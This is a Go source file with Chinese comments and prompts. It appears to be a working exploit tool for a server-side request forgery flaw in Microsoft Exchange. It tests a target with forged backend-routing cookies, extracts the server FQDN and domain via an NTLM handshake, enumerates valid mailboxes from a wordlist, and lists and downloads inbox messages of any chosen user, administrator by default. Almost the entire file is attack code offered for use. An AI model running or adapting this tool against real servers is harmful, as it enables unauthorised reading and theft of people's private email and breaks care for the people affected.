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u1.go

package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "time"
    "io"
    "io/ioutil"
    "net/http"
    //"net/url"
    "os"
    "strings"
    "regexp"
    "encoding/base64"
    "bufio"
    "strconv"
)

//检测漏洞存在脚本
func Verify(targetUrl string) bool {
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("GET", targetUrl, nil)
    req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
    resp, _ := client.Do(req)
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)

    if strings.Contains(string(body), "NegotiateSecurityContext") {
        return true
    } else {
        return false
    }
}

func append16(v []byte, val uint16) []byte {
    return append(v, byte(val), byte(val>>8))
}

func append32(v []byte, val uint16) []byte {
    return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
}

const (
    negotiateUnicode    = 0x0001 // Text strings are in unicode
    negotiateOEM        = 0x0002 // Text strings are in OEM
    requestTarget       = 0x0004 // Server return its auth realm
    negotiateSign       = 0x0010 // Request signature capability
    negotiateSeal       = 0x0020 // Request confidentiality
    negotiateLMKey      = 0x0080 // Generate session key
    negotiateNTLM       = 0x0200 // NTLM authentication
    negotiateLocalCall  = 0x4000 // client/server on same machine
    negotiateAlwaysSign = 0x8000 // Sign for all security levels
)

//生成ntlm type1
func Negotiate() []byte {
    var ret []byte
    flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM

    ret = append(ret, "NTLMSSP\x00"...) // protocol
    ret = append32(ret, 1)              // type
    ret = append32(ret, uint16(flags))  // flags
    ret = append16(ret, 0)              // NT domain name length
    ret = append16(ret, 0)              // NT domain name max length
    ret = append32(ret, 0)              // NT domain name offset
    ret = append16(ret, 0)              // local workstation name length
    ret = append16(ret, 0)              // local workstation name max length
    ret = append32(ret, 0)              // local workstation name offset
    ret = append16(ret, 0)              // unknown name length
    ret = append16(ret, 0)              // ...
    ret = append16(ret, 0x30)           // unknown offset
    ret = append16(ret, 0)              // unknown name length
    ret = append16(ret, 0)              // ...
    ret = append16(ret, 0x30)           // unknown offset

    return ret
}

//利用ntlm type2 获取有效信息 fqdn
func Ntlminfo(targetUrl string) (fqdn string, domain string) {

    //var fqdn string

    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("GET", targetUrl, nil)
    req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
    req.Header.Add("Accept","text/xml")
    resp, _ := client.Do(req)
    
    reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
    reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
    reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
    reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
    reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
    reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)

    for _, values := range resp.Header {
        type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
        if type2 != "" {
            decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
            fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
            domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
        }
    }
    return 
}

func Postxml(targetUrl string, fqdn string, xmlcontent string) string {
    
    //urlProxy, _ := url.Parse("http://127.0.0.1:8080")
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    //    Proxy: http.ProxyURL(urlProxy),
    }
    client := &http.Client{Transport: tr}

    req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
    req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
    req.Header.Add("Content-Type", "text/xml")
    //fmt.Println(req)
    resp2, _ := client.Do(req)
    //defer resp2.Body.Close()
    body2, _ := ioutil.ReadAll(resp2.Body)

    return string(body2)
}

func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
    //fmt.Println(userfile)
    ufile, err := os.Open(userfile)
    if err != nil {
        fmt.Println("文件错误")
        os.Exit(0)
    }
    defer ufile.Close()

    fmt.Println("正确邮箱地址：\n")

    br := bufio.NewReader(ufile)
    for {
        name, _, c := br.ReadLine()
        if c == io.EOF {
            fmt.Println("\n完成。")
            break
        }
        if strings.Contains(string(name), "@") {
            str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
            if strings.Contains(str, string(name)) {
                //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name)))
            }else {
                fmt.Println(string(name))
            }
        }else{
            address := fmt.Sprintf("%s@%s", string(name), domainneame)
            str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
            if strings.Contains(str, string(name)) {
                //fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address))
            }else {
                fmt.Println(address)
            }
        }
        time.Sleep(time.Duration(stime)*time.Second)
    }
}

func makefile(fileName string, conntent string) {

    f, err := os.Create(fileName)
    defer f.Close()
    if err != nil {
        fmt.Println(err.Error())
    } else {
        _, _ = f.Write([]byte(conntent))
    }
}

func main(){

    var maddress string

    host := flag.String("h", "", "必填，目标地址或域名")
    filepath := flag.String("U", "", "选填，需要枚举的用户列表")
    stime := flag.String("t", "1", "选填，请求延迟时间")
    desfqnd := flag.String("n", "", "选填，需要指定 FQND 事填写")
    list := flag.Bool("l", false, "选填，列出邮件列表")
    emailadd := flag.String("u", "administrator", "选填，指定目标")
    downl := flag.Bool("d", false, "选填，下载邮件")
    flag.Parse()

    targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host)
    ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
    postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
    sleep_time, _ := strconv.Atoi(*stime)

    if *host == "" {
        fmt.Println("请输入目标IP地址")
        os.Exit(0)
    }
  
    fmt.Println("检测漏洞存在中...")
    if Verify(targetUrl) == true {
        fmt.Println("漏洞存在...继续")
    }else{
        fmt.Println("漏洞不存在...END")
        os.Exit(0)
    }

    mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>%s</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>`

    maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
 xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
 xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
 xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
 xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
  <soap:Body>
    <m:FindItem Traversal='Shallow'>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
      </m:ItemShape>
      <m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id='inbox'>
          <t:Mailbox>
            <t:EmailAddress>%s</t:EmailAddress>
          </t:Mailbox>
        </t:DistinguishedFolderId>
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>`

download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetItem>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:ItemIds>
        <t:ItemId Id="%s" ChangeKey="%s" />
      </m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>`

    fqndstr, domainstr := Ntlminfo(ewsUrl)

    fmt.Println("目标 FQND 为： ", fqndstr)

    if *filepath != "" {
        Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time)
    }

    if *desfqnd != "" {
        fqndstr = *desfqnd
    }

    if strings.Contains(*emailadd, "@") {
        maddress = *emailadd
    }else{
        maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr)
    }

    str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
    //fmt.Println(str)

    if strings.Contains(str, maddress) {
        fmt.Println(fmt.Sprintf("邮件地址 %s 不正确，请重新输入", maddress))
    }else if strings.Contains(str, "Success") {
        reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
        reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
        mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
        fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为： ", mnum)
        if *list == true {
            if mnum != "0"{
                contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))

                reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
                reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
                reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)
                
                id := reg_id.FindAllStringSubmatch(contents, -1)
                key := reg_key.FindAllStringSubmatch(contents, -1)
                subject := reg_sub.FindAllStringSubmatch(contents, -1)

                for i := 0; i < 5 ; i++{
                    fmt.Println("---------")
                    fmt.Println("ID ：", i+1, "\nItemId： ", id[i][1], "\nkey： ", key[i][1], "\n邮件标题：", subject[i][1])
                    fmt.Println()
                }

                if *downl == true {
                    for i := 0; i < 5 ; i++{
                        fmt.Println("正在下载第 ", i," 份邮件")
                        contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
                        makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
                    }
                    fmt.Println("下载完成")
                }

            }else{
                fmt.Println("目标邮箱无邮件！")
            }
        }
    }else{
        fmt.Println("默认 FQND 无效请更换其他服务器")
    }
}